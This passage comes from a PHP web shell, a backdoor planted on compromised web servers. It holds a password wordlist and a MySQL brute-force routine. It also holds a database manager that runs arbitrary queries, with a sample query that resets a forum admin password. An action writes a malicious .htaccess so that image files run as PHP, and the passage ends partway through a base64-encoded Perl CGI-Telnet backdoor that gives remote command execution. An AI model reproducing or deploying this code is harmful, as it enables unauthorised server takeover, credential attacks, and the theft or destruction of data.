  708. sql12345678
  709. sql123456789
  710. mysql
  711. mysql123
  712. mysql1234
  713. mysql12345
  714. mysql123456
  715. mysql1234567
  716. mysql12345678
  717. mysql123456789
  718. database
  719. Database
  720. admin!@#
  721. admin!@#$
  722. admin!@#$%
  723. admin!@#$%^
  724. admin!@#$%^&
  725. admin!@#$%^&*(
  726. root!@#
  727. root!@#$
  728. root!@#$%
  729. root!@#$%^
  730. root!@#$%^&
  731. root!@#$%^&*
  732. root!@#$%^&*(
  733. admin@2014
  734. admin@2015
  735. root@2014
  736. root@2015
  737. phpmyadmin
  738. password
  739. Password
  740. p@ssword
  741. P@ssword
  742. P@ssw0rd
  743. P@ssword123
  744. P@ssw0rd123
  745. 123pass
  746. pass123
  747. 123admin
  748. 123123
  749. 456456
  750. 789789
  751. 456654
  752. 654321
  753. 7654321
  754. 87654321
  755. 987654321
  756. 0987654321
  757. 159753
  758. 159357
  759. 456852
  760. 456258
  761. abcdef
  762. abcabc
  763. qwerty
  764. qwe123
  765. 123qwe';
  766.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  767.         if(isset($dbhost)){
  768.                 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  769.         }
  770.         if(isset($dbuser)) {
  771.                 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  772.         }
  773.         if(isset($dbpass)) {
  774.                 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  775.         }
  776.         if(isset($dbport)) {
  777.                 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  778.         }
  779.         if(isset($dbname)) {
  780.                 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  781.         }
  782.         if(isset($charset)) {
  783.                 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  784.         }
  785.         if ($doing == 'backupmysql' && $saveasfile) {
  786.                 if (!$table) {
  787.                         m('Please choose the table');
  788.                 } else {
  789.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  790.                         $table = array_flip($table);
  791.                         $fp = @fopen($path,'w');
  792.                         if ($fp) {
  793.                                 $result = q('SHOW tables');
  794.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
  795.                                 $mysqldata = '';
  796.                                 while ($currow = mysql_fetch_array($result)) {
  797.                                         if (isset($table[$currow[0]])) {
  798.                                                 sqldumptable($currow[0], $fp);
  799.                                         }
  800.                                 }
  801.                                 fclose($fp);
  802.                                 $fileurl = str_replace(SA_ROOT,'',$path);
  803.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  804.                                 mysql_close();
  805.                         } else {
  806.                                 m('Backup failed');
  807.                         }
  808.                 }
  809.         }
  810.         if ($insert && $insertsql) {
  811.                 $keystr = $valstr = $tmp = '';
  812.                 foreach($insertsql as $key => $val) {
  813.                         if ($val) {
  814.                                 $keystr .= $tmp.$key;
  815.                                 $valstr .= $tmp."'".addslashes($val)."'";
  816.                                 $tmp = ',';
  817.                         }
  818.                 }
  819.                 if ($keystr && $valstr) {
  820.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  821.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  822.                 }
  823.         }
  824.         if ($update && $insertsql && $base64) {
  825.                 $valstr = $tmp = '';
  826.                 foreach($insertsql as $key => $val) {
  827.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
  828.                         $tmp = ',';
  829.                 }
  830.                 if ($valstr) {
  831.                         $where = base64_decode($base64);
  832.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  833.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  834.                 }
  835.         }
  836.         if ($doing == 'del' && $base64) {
  837.                 $where = base64_decode($base64);
  838.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
  839.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  840.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  841.         }
  842.         if ($tablename && $doing == 'drop') {
  843.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  844.                 if (q("DROP TABLE $tablename")) {
  845.                         m('Drop table of success');
  846.                         $tablename = '';
  847.                 } else {
  848.                         m(mysql_error());
  849.                 }
  850.         }
  851.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  852.         formhead(array('title'=>'MYSQL Manager'));
  853.         makehide('action','sqladmin');
  854.         p('<p>');
  855.         p('DBHost:');
  856.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  857.         p(':');
  858.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  859.         p('DBUser:');
  860.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  861.         p('DBPass:');
  862.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  863.         p('DBCharset:');
  864.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  865.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  866.     makeinput(array('name'=>'bru_sql','value'=>'Brute MySQL','type'=>'submit','class'=>'bt'));
  867.     p('Pass:');
  868.     echo "<textarea name=\"brute_mysql\" cols=\"25\" rows=\"4\">$brute_mysql</textarea>";
  869.         p('</p>');
  870.         formfoot();
  871. ?>
  872. <script type="text/javascript">
  873. function editrecord(action, base64, tablename){
  874.         if (action == 'del') {
  875.                 if (!confirm('Is or isn\'t deletion record?')) return;
  876.         }
  877.         $('recordlist').doing.value=action;
  878.         $('recordlist').base64.value=base64;
  879.         $('recordlist').tablename.value=tablename;
  880.         $('recordlist').submit();
  881. }
  882. function moddbname(dbname) {
  883.         if(!dbname) return;
  884.         $('setdbname').dbname.value=dbname;
  885.         $('setdbname').submit();
  886. }
  887. function settable(tablename,doing,page) {
  888.         if(!tablename) return;
  889.         if (doing) {
  890.                 $('settable').doing.value=doing;
  891.         }
  892.         if (page) {
  893.                 $('settable').page.value=page;
  894.         }
  895.         $('settable').tablename.value=tablename;
  896.         $('settable').submit();
  897. }
  898. </script>
  899. <?php
  900.         // SQL
  901.         formhead(array('name'=>'recordlist'));
  902.         makehide('doing');
  903.         makehide('action','sqladmin');
  904.         makehide('base64');
  905.         makehide('tablename');
  906.         p($dbform);
  907.         formfoot();
  908.         // Data
  909.         formhead(array('name'=>'setdbname'));
  910.         makehide('action','sqladmin');
  911.         p($dbform);
  912.         if (!$dbname) {
  913.                 makehide('dbname');
  914.         }
  915.         formfoot();
  916.         formhead(array('name'=>'settable'));
  917.         makehide('action','sqladmin');
  918.         p($dbform);
  919.         makehide('tablename');
  920.         makehide('page',$page);
  921.         makehide('doing');
  922.         formfoot();
  923.         $cachetables = array();
  924.         $pagenum = 30;
  925.         $page = intval($page);
  926.         if($page) {
  927.                 $start_limit = ($page - 1) * $pagenum;
  928.         } else {
  929.                 $start_limit = 0;
  930.                 $page = 1;
  931.         }
  932.     if(isset($bru_sql)){
  933.     $br_m = explode("\r\n", implode("\r\n", array_unique(explode("\r\n",trim($brute_mysql)))));
  934.     $count_pass = count($br_m);
  935.     for($i=0;$i<$count_pass;$i++){
  936.     if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $br_m[$i])) {
  937.                 p('');
  938.         }
  939.     if($link && $dbname) {
  940.                 if (!@mysql_select_db($dbname, $link)) {
  941.                         p('<h2>Database selected has error</h2>');
  942.                         exit;
  943.                 }
  944.         }
  945.     if($link && mysql_get_server_info() > '4.1') {
  946.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  947.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  948.                 }
  949.         $makelove = p("<h2>Password found: $br_m[$i]</h2>");
  950.         exit;
  951.         }
  952.     }
  953.     if($makelove){
  954.         echo $makelove;
  955.     }else{ p('<h2>Brute : Can not connect to MySQL server</h2>');}
  956.     }
  957.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  958.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  959.                 // get mysql server
  960.                 $mysqlver = mysql_get_server_info();
  961.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  962.                 $highver = $mysqlver > '4.1' ? 1 : 0;
  963.                 // Show database
  964.                 $query = q("SHOW DATABASES");
  965.                 $dbs = array();
  966.                 $dbs[] = '-- Select a database --';
  967.                 while($db = mysql_fetch_array($query)) {
  968.                         $dbs[$db['Database']] = $db['Database'];
  969.                 }
  970.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  971.                 $tabledb = array();
  972.                 if ($dbname) {
  973.                         p('<p>');
  974.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  975.                         if ($tablename) {
  976.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  977.                         }
  978.                         p('</p>');
  979.                         mysql_select_db($dbname);
  980.                         $getnumsql = '';
  981.                         $runquery = 0;
  982.                         if ($sql_query) {
  983.                                 $runquery = 1;
  984.                         }
  985.                         $allowedit = 0;
  986.                         if ($tablename && !$sql_query) {
  987.                                 $sql_query = "SELECT * FROM $tablename";
  988.                                 $getnumsql = $sql_query;
  989.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  990.                                 $allowedit = 1;
  991.                         }
  992.                         p('<form action="'.$self.'" method="POST">');
  993.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vhb</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
  994.                         </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  995.                         makehide('tablename', $tablename);
  996.                         makehide('action','sqladmin');
  997.                         p($dbform);
  998.                         p('</form>');
  999.                         if ($tablename || ($runquery && $sql_query)) {
  1000.                                 if ($doing == 'structure') {
  1001.                                         $result = q("SHOW COLUMNS FROM $tablename");
  1002.                                         $rowdb = array();
  1003.                                         while($row = mysql_fetch_array($result)) {
  1004.                                                 $rowdb[] = $row;
  1005.                                         }
  1006.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
  1007.                                         p('<tr class="head">');
  1008.                                         p('<td>Field</td>');
  1009.                                         p('<td>Type</td>');
  1010.                                         p('<td>Null</td>');
  1011.                                         p('<td>Key</td>');
  1012.                                         p('<td>Default</td>');
  1013.                                         p('<td>Extra</td>');
  1014.                                         p('</tr>');
  1015.                                         foreach ($rowdb as $row) {
  1016.                                                 $thisbg = bg();
  1017.                                                 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1018.                                                 p('<td>'.$row['Field'].'</td>');
  1019.                                                 p('<td>'.$row['Type'].'</td>');
  1020.                                                 p('<td>'.$row['Null'].'&nbsp;</td>');
  1021.                                                 p('<td>'.$row['Key'].'&nbsp;</td>');
  1022.                                                 p('<td>'.$row['Default'].'&nbsp;</td>');
  1023.                                                 p('<td>'.$row['Extra'].'&nbsp;</td>');
  1024.                                                 p('</tr>');
  1025.                                         }
  1026.                                         tbfoot();
  1027.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
  1028.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
  1029.                                         while ($row = mysql_fetch_array($result)) {
  1030.                                                 $rowdb[] = $row;
  1031.                                         }
  1032.                                         $rs = array();
  1033.                                         if ($doing == 'insert') {
  1034.                                                 p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  1035.                                         } else {
  1036.                                                 p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  1037.                                                 $where = base64_decode($base64);
  1038.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  1039.                                                 $rs = mysql_fetch_array($result);
  1040.                                         }
  1041.                                         p('<form method="post" action="'.$self.'">');
  1042.                                         p($dbform);
  1043.                                         makehide('action','sqladmin');
  1044.                                         makehide('tablename',$tablename);
  1045.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
  1046.                                         foreach ($rowdb as $row) {
  1047.                                                 if ($rs[$row['Field']]) {
  1048.                                                         $value = htmlspecialchars($rs[$row['Field']]);
  1049.                                                 } else {
  1050.                                                         $value = '';
  1051.                                                 }
  1052.                                                 $thisbg = bg();
  1053.                                                 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1054.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  1055.                                         }
  1056.                                         if ($doing == 'insert') {
  1057.                                                 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  1058.                                         } else {
  1059.                                                 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  1060.                                                 makehide('base64', $base64);
  1061.                                         }
  1062.                                         p('</table></form>');
  1063.                                 } else {
  1064.                                         $querys = @explode(';',$sql_query);
  1065.                                         foreach($querys as $num=>$query) {
  1066.                                                 if ($query) {
  1067.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  1068.                                                         switch(qy($query))
  1069.                                                         {
  1070.                                                                 case 0:
  1071.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
  1072.                                                                         break;
  1073.                                                                 case 1:
  1074.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
  1075.                                                                                 $allowedit = 1;
  1076.                                                                         }
  1077.                                                                         if ($getnumsql) {
  1078.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
  1079.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
  1080.                                                                         }
  1081.                                                                         if (!$tablename) {
  1082.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  1083.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  1084.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  1085.                                                                                 $tablename = $matches[1][0];
  1086.                                                                         }
  1087.                                                                         $result = q($query);
  1088.                                                                         p($multipage);
  1089.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
  1090.                                                                         p('<tr class="head">');
  1091.                                                                         if ($allowedit) p('<td>Action</td>');
  1092.                                                                         $fieldnum = @mysql_num_fields($result);
  1093.                                                                         for($i=0;$i<$fieldnum;$i++){
  1094.                                                                                 $name = @mysql_field_name($result, $i);
  1095.                                                                                 $type = @mysql_field_type($result, $i);
  1096.                                                                                 $len = @mysql_field_len($result, $i);
  1097.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
  1098.                                                                         }
  1099.                                                                         p('</tr>');
  1100.                                                                         while($mn = @mysql_fetch_assoc($result)){
  1101.                                                                                 $thisbg = bg();
  1102.                                                                                 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1103.                                                                                 $where = $tmp = $b1 = '';
  1104.                                                                                 foreach($mn as $key=>$inside){
  1105.                                                                                         if ($inside) {
  1106.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
  1107.                                                                                                 $tmp = ' AND ';
  1108.                                                                                         }
  1109.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  1110.                                                                                 }
  1111.                                                                                 $where = base64_encode($where);
  1112.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
  1113.                                                                                 p($b1);
  1114.                                                                                 p('</tr>');
  1115.                                                                                 unset($b1);
  1116.                                                                         }
  1117.                                                                         tbfoot();
  1118.                                                                         p($multipage);
  1119.                                                                         break;
  1120.                                                                 case 2:
  1121.                                                                         $ar = mysql_affected_rows();
  1122.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  1123.                                                                         break;
  1124.                                                         }
  1125.                                                 }
  1126.                                         }
  1127.                                 }
  1128.                         } else {
  1129.                                 $query = q("SHOW TABLE STATUS");
  1130.                                 $table_num = $table_rows = $data_size = 0;
  1131.                                 $tabledb = array();
  1132.                                 while($table = mysql_fetch_array($query)) {
  1133.                                         $data_size = $data_size + $table['Data_length'];
  1134.                                         $table_rows = $table_rows + $table['Rows'];
  1135.                                         $table['Data_length'] = sizecount($table['Data_length']);
  1136.                                         $table_num++;
  1137.                                         $tabledb[] = $table;
  1138.                                 }
  1139.                                 $data_size = sizecount($data_size);
  1140.                                 unset($table);
  1141.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
  1142.                                 p('<form action="'.$self.'" method="POST">');
  1143.                                 makehide('action','sqladmin');
  1144.                                 p($dbform);
  1145.                                 p('<tr class="head">');
  1146.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1147.                                 p('<td>Name</td>');
  1148.                                 p('<td>Rows</td>');
  1149.                                 p('<td>Data_length</td>');
  1150.                                 p('<td>Create_time</td>');
  1151.                                 p('<td>Update_time</td>');
  1152.                                 if ($highver) {
  1153.                                         p('<td>Engine</td>');
  1154.                                         p('<td>Collation</td>');
  1155.                                 }
  1156.                                 p('</tr>');
  1157.                                 foreach ($tabledb as $key => $table) {
  1158.                                         $thisbg = bg();
  1159.                                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1160.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  1161.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  1162.                                         p('<td>'.$table['Rows'].'</td>');
  1163.                                         p('<td>'.$table['Data_length'].'</td>');
  1164.                                         p('<td>'.$table['Create_time'].'</td>');
  1165.                                         p('<td>'.$table['Update_time'].'</td>');
  1166.                                         if ($highver) {
  1167.                                                 p('<td>'.$table['Engine'].'</td>');
  1168.                                                 p('<td>'.$table['Collation'].'</td>');
  1169.                                         }
  1170.                                         p('</tr>');
  1171.                                 }
  1172.                                 p('<tr class=fout>');
  1173.                                 p('<td>&nbsp;</td>');
  1174.                                 p('<td>Total tables: '.$table_num.'</td>');
  1175.                                 p('<td>'.$table_rows.'</td>');
  1176.                                 p('<td>'.$data_size.'</td>');
  1177.                                 p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
  1178.                                 p('</tr>');
  1179.                                 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1180.                                 makehide('doing','backupmysql');
  1181.                                 formfoot();
  1182.                                 p("</table>");
  1183.                                 fr($query);
  1184.                         }
  1185.                 }
  1186.         }
  1187.         tbfoot();
  1188.         @mysql_close();
  1189. }//end sql backup
  1190. elseif ($action == 'error.log') {
  1191.         mkdir('e', 0755);
  1192.     chdir('e');
  1193.         $kokdosya = ".htaccess";
  1194.         $dosya_adi = "$kokdosya";
  1195.         $dosya = fopen ($dosya_adi , 'w') or die ("Can not open file!");
  1196.         $metin = "Options +FollowSymLinks +Indexes
  1197. DirectoryIndex default.html
  1198. ## START ##
  1199. Options +ExecCGI
  1200. AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
  1201. AddType application/x-httpd-php .jpg
  1202. RewriteEngine on
  1203. RewriteRule (.*)\.war$ .log
  1204. ## END ##";
  1205.         fwrite ( $dosya , $metin ) ;
  1206.         fclose ($dosya);
  1207. $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+VkhCPC9mb250PiI7CgokUGFzc3dvcmQgPSAieHh4IjsJCQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMKCQkJCSMgdG8gbG9naW4uCnN1YiBJc19XaW4oKXsKCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsKCWlmKCRvcyA9fiBtL3dpbi9pKXsKCQlyZXR1cm4gMTsKCX1lbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4KCiROVENtZFNlcCA9ICImIjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJCSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTMwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJC